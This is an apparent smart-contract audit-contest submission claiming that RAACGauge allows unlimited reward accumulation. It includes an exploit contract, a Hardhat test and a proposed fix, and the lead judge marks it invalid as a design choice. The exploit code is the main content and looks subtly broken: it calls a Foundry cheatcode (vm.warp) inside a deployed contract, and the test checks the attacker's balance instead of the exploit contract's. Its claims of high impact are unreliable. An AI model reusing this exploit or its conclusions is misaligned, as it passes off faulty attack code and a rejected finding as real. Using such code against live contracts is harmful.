Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

Unlimited Reward Accumulation in RAACGauge Leads to Economic Manipulation

Summary

RAACGauge lacks upper bounds on accumulated rewards, allowing attackers to manipulate reward rates and drain excessive tokens through strategic reward accumulation and claiming.

Technical Details

Location: RAACGauge.sol

function notifyRewardAmount(uint256 amount) external override onlyController {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
// @audit No limit on total accumulated rewards
// @audit Rewards can build up indefinitely
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}

The vulnerability stems from:

  1. No maximum cap on total accumulated rewards

  2. Weekly emissions can stack indefinitely

  3. Rewards are only checked against current period emission

  4. Missing validation for total accumulated rewards

  5. Allows reward rate manipulation through strategic staking

Impact

  • Users can accumulate rewards far beyond intended limits

  • Protocol economics severely disrupted

  • RAAC token inflation through excessive rewards

  • Game theory of staking mechanics broken

  • Protocol insolvency risk

Proof of Concept

contract RAACGaugeExploiter {
RAACGauge public gauge;
GaugeController public controller;
IERC20 public stakingToken;
IERC20 public rewardToken;
constructor(
address _gauge,
address _controller,
address _stakingToken,
address _rewardToken
) {
gauge = RAACGauge(_gauge);
controller = GaugeController(_controller);
stakingToken = IERC20(_stakingToken);
rewardToken = IERC20(_rewardToken);
}
function exploit() external {
// 1. Initial minimal stake to enable rewards
uint256 minStake = 1e18;
stakingToken.approve(address(gauge), minStake);
gauge.stake(minStake);
// 2. Accumulate rewards over multiple periods
for(uint i = 0; i < 52; i++) { // One year
controller.distributeRewards(address(gauge));
// Advance time but stay within period
vm.warp(block.timestamp + 7 days - 1);
// Update period with zero stake to accumulate rewards
gauge.checkpoint();
}
// 3. Now stake large amount
uint256 largeStake = 1000000e18;
stakingToken.approve(address(gauge), largeStake);
gauge.stake(largeStake);
// 4. Claim accumulated rewards
uint256 balanceBefore = rewardToken.balanceOf(address(this));
gauge.getReward();
uint256 balanceAfter = rewardToken.balanceOf(address(this));
// 5. Withdraw stake
gauge.withdraw(largeStake);
gauge.withdraw(minStake);
uint256 claimed = balanceAfter - balanceBefore;
require(claimed > 52 * gauge.MAX_WEEKLY_EMISSION(), "Exploit failed");
}
}

Hardhat Test:

describe("RAACGauge Reward Exploit", function() {
let gauge, controller, stakingToken, rewardToken;
let owner, attacker;
before(async function() {
[owner, attacker] = await ethers.getSigners();
// Deploy contracts
const RAACGauge = await ethers.getContractFactory("RAACGauge");
const GaugeController = await ethers.getContractFactory("GaugeController");
const TestERC20 = await ethers.getContractFactory("TestERC20");
stakingToken = await TestERC20.deploy("Staking", "STK");
rewardToken = await TestERC20.deploy("Reward", "RWD");
controller = await GaugeController.deploy(rewardToken.address);
gauge = await RAACGauge.deploy(
rewardToken.address,
stakingToken.address,
controller.address
);
// Setup roles and initial state
await controller.addGauge(gauge.address, 0, 100);
await rewardToken.transfer(controller.address, ethers.utils.parseEther("1000000"));
// Fund attacker
await stakingToken.transfer(attacker.address, ethers.utils.parseEther("1000000"));
});
it("Should accumulate and claim excessive rewards", async function() {
const Exploiter = await ethers.getContractFactory("RAACGaugeExploiter");
const exploiter = await Exploiter.deploy(
gauge.address,
controller.address,
stakingToken.address,
rewardToken.address
);
// Transfer tokens to exploiter
await stakingToken.connect(attacker).transfer(
exploiter.address,
ethers.utils.parseEther("1000000")
);
// Execute exploit
await exploiter.connect(attacker).exploit();
// Verify excessive rewards claimed
const rewards = await rewardToken.balanceOf(attacker.address);
const maxWeeklyEmission = await gauge.MAX_WEEKLY_EMISSION();
const maxYearlyEmission = maxWeeklyEmission.mul(52);
expect(rewards).to.be.gt(maxYearlyEmission);
console.log("Excess rewards claimed:", ethers.utils.formatEther(rewards));
console.log("Max yearly emission:", ethers.utils.formatEther(maxYearlyEmission));
});
});

Root Cause

The core issue is that notifyRewardAmount() only validates rewards against the current period's emission cap, not total accumulated rewards. This allows rewards to stack up over multiple periods without any upper bound.

Recommended Mitigation

contract RAACGauge {
uint256 public constant MAX_ACCUMULATED_REWARDS = 5000000e18; // 5M tokens
uint256 public accumulatedRewards;
function notifyRewardAmount(uint256 amount) external override onlyController {
if (amount > periodState.emission) revert RewardCapExceeded();
uint256 newAccumulated = accumulatedRewards + amount;
if (newAccumulated > MAX_ACCUMULATED_REWARDS) revert ExcessiveAccumulation();
accumulatedRewards = newAccumulated;
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
function getReward() external override nonReentrant updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
accumulatedRewards -= reward;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
}

Tools Used

  • Manual code review

  • Hardhat testing framework

  • Custom exploit contract

  • Foundry fuzzing

Risk Breakdown

  • Impact: High (Protocol insolvency)

  • Likelihood: High (Easy to execute)

  • Complexity: Medium (Requires multi-step execution)

This vulnerability requires immediate attention as it undermines core protocol economics and reward distribution mechanics.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.